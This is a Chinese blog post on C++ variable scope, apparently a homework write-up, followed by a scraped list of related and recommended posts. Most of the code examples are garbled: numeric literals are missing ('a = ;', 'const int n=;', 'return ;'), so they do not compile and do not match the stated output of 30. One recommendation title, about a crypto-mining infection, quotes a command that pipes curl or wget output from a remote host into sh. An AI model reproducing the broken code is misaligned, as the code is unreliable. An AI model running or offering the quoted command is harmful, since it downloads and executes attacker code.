作用域

任何一种语言最基本的部分就是变量,而变量有两个非常重要的特性,作用域和生存期。

定义

作用域是变量的一个属性,某个变量在代码中有效的区域为该变量的作用域。


函数原型作用域

函数声明参数从参数声明开始到函数声明结束。此作用域为c++程序中最小的作用域,生存周期最短。

例:int func(int i) i为参数,作用域类型为函数原型类型。

const int n=;

int f(int n,int m = n);   //error,n referrence to (int n) not (const int n)

函数作用域

函数的作用域相当于编译器划分给的函数的一段时间上与物理内存上的区域。在这段时间内,函数内定义的局部变量存在,过了这段时间,这个变量就不存在。同样,在这段内存中的变量是被该函数独享的,外部不能访问。

#include <iostream>
using namespace std; int main ()
{
// 局部变量声明
int a, b;
int c; // 实际初始化
a = ;
b = ;
c = a + b; cout << c; return ;
}

结果:30

命名空间作用域

在源程序中,其实,全局作用域也是一个命名空间,全局命名空间中变量的作用域从声明开始,到编译单元中断,在连接的时候,又将多个编译单元的全局命名空间连接在一起。
命名空间的变量的作用域:
从声明开始,到该命名空间结束中断,在新的一段同名命名空间开始继续开始。在使用using的地方,将该部分加入到作用域中。命名空间的子命名空间也包含其中。匿名命名空间和inline命名空间变量的作用域包含其父亲命名空间。

namespace A
{ //Scope of A begins
int a1=; //Scope of a1 begins
inline namespace B
{ //Scope of B begins
int a2; //Scope of a2 begins
}
namespace C
{ //Scope of C begins
int a3=; //scope of a3 begins
int f()
{
cout<<a1<<endl;
}
} //scope of a3 ends
namespace
{
int a4; //scope of a4 begins
} //int a2; //error: duplicate defination a2
} //scope of a1,a2,B,C,a4 interrupted
namespace A
{
//scope of a1,a2,B,C,a4 continue
}

类作用域

类中的数据和函数分为公有类(public),保护类(protected),私有类(private),
类公有派生类,保护派生类,私有派生类
类中的成员 在public中 ,可以在其他地方直接使用  使用方法:对象.公用类成员(对象::公用类成员)
而其他的需要借助公有类函数调用 ,但是在类中可以直接调用 。

class中的变量的作用域为:

  • 从声明开始,到class结束
  • 所有的类中成员函数的函数体中,不管是在声明之前,或者是在class之外
  • 函数的默认参数中
  • 所有嵌套在函数中的成员

例:

class X
{
int f(int a = n)
{ // X::n is in scope inside default parameter
return a*n; // X::n is in scope inside function body
}
int g();
int i = n*; // X::n is in scope inside initializer
// int x[n]; // Error: n is not in scope in class body
static const int n = ;
int x[n]; // OK: n is now in scope in class body
};
int X::g() { return n; } // X::n is in scope in out-of-class member function body

访问类中成员的方法有以下四种:

  • 在class的作用域中,或子类的作用域中
  • class或者子类的对象使用’.‘
  • class或者子类对象的指针,使用'->'
  • class 或者子类使用'::'

枚举作用域

枚举有两种类型: scoped enumeration and unscoped enumeration这两种类型的作用域是不同的。scoped enumeration: 作用域从变量声明开始,到enumeration结束为止。
unscoped enumeration: 作用域从变量声明开始,到enumeration结束,继续存在,直到全局作用域结束。

enum e1{

    A,

    B

};

enum class e2{

    A2,

    B2

};

e1 o1 = B;

//e2 o2 = B2;    //error : B2 not in scope

e2 o2 = e2::B2;

C++第三次作业--作用域的更多相关文章

  1. OO第三单元作业——魔教规格

    OO第三单元作业--魔教规格 JML的理论基础和相关工具   JML(Java Modeling Language,Java建模语言),在Java代码种增加了一些符号,这些符号用来标志一个方法是干什么 ...

  2. 耿丹CS16-2班第三次作业汇总

    -- Deadline: 2016-10-12 22:48 -- 作业内容: 1.实验2-6 猜数字游戏 2.实验2-7 判断能否为三角形 3.实验2-8 个人所得税计算器 -- 第三次作业总结: 1 ...

  3. JAVA第三周作业(从键盘输入若干数求和)

    JAVA第三周作业(从键盘输入若干数求和) 在新的一周,我学习了JAVA的IO编程.下面的代码实现了从键盘输入若干数求和的目标.import java.util.Scanner; public cla ...

  4. 第三次作业:caculator

    第三次作业 作业链接 ********* 遇到的问题: Scan类: 队列的使用方法不了解,上网查询并自己练习了一下才初步了解,才运用到作业 . 判断数字用的 if (input[i] >= ' ...

  5. HTML第三天作业做的表格

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xht ...

  6. 第三次作业——《K米评测》

    第三次作业--<K米评测> 一.调研.评测 上手体验 APP的图标做的不错,一眼就知道和KTV唱歌相关的 点进去就是连接包箱的界面和直播界面,把软件最重要的两个功能展示出来了,一目了然 热 ...

  7. 软件工程(QLGY2015)第三次作业点评(含成绩)

    相关博文目录: 第一次作业点评 第二次作业点评 第三次作业点评 团队信息 本页点评团队1-22,其他组见:http://www.cnblogs.com/xiaozhi_5638/p/4490764.h ...

  8. 第三次作业随笔(new)包含了补作业

    第三次作业的题目:http://www.cnblogs.com/fzuoop/p/5187275.html 第一次看到题目的时候觉得应该是挺简单的,只要把输入的那一串东西挨个判断,用数列的方法,如果碰 ...

  9. 第三周作业、实时操作系统µC/OS介绍及其它内容

    作业要求 见<实时控制软件设计>第三周作业 1 阅读笔记--µC/OS 1.1 基本介绍 µC/OS是由Micrium公司研发的实时操作系统,以µC/OS-II或µC/OS-III为内核, ...

随机推荐

  1. Linux安装sdkman

    项目使用java的开发者一定会为新配环境变量而头大,sdkman很好的解决了系统sdk管理的痛点,仅需简单的几行命令就可以完成sdk的安装,更改默认版本.再也不用担心环境变量的问题. 安装 既然是命令 ...

  2. 2019年最新Web安全攻防班课程

    咨询请加QQ:1373721311 或 2644148223 课程核心大纲总览 Web安全攻防班以业界权威的OWASP TOP 10的漏洞为主干课程.更加详细教学思维导图可访问如下链接:https:/ ...

  3. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  4. 【Adobe Air程序开发】用Adobe Flex3开发AIR应用程序–入门指南

    1 安装Adobe AIR 运行时,和java的JVM类似.Adobe AIR 运行时允许在桌面运行AIR应用程序,脱离游览器的束缚.下载安装文件http://labs.adobe.com/downl ...

  5. 【VS开发】【C/C++开发】C++参数策略传递内存

    参数策略 如果函数的参数是一个指针,不要指望用该指针去动态申请内存.如下: void GetMemory(char *p, int num) { p = (char *)malloc(sizeof(c ...

  6. Tcpdump移植

    摘要: tcpdump对网络上的数据包进行截获的包分析工具. tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析.它支持针对网络层.协议.主机.网络或端口的过滤,并提供and.or.n ...

  7. Design Hit Counter

    Design a hit counter which counts the number of hits received in the past 5 minutes. Each function a ...

  8. CentoS里Tomcat端口开放

    1.发现安装好tomcat后,发现无法访问tomcat首页,后来发现防火墙没有开放8080端口. 需注意的是:CentOS 7防火墙换用Friewalld了,所以要用以下命令将端口号加进防火墙: fi ...

  9. one:arguments对象伪数组

    这是我的第一个博客 <script> //计算N个数字的和 //定义一个函数,如果不确定用户是否传入了参数,或者说不知道用户传入了几个参数,没办法计算, // 但是如果在函数中知道了参数的 ...

  10. jquery的scrollTop方法

    scrollTop方法设置或返回备选元素的垂直滚动条位置. 提示:当滚动条位于最顶部时,位置是0 当用于返回位置时: 该方法返回第一个匹配元素的滚动条的垂直位置 当用于设置位置时: 该方法设置所有匹配 ...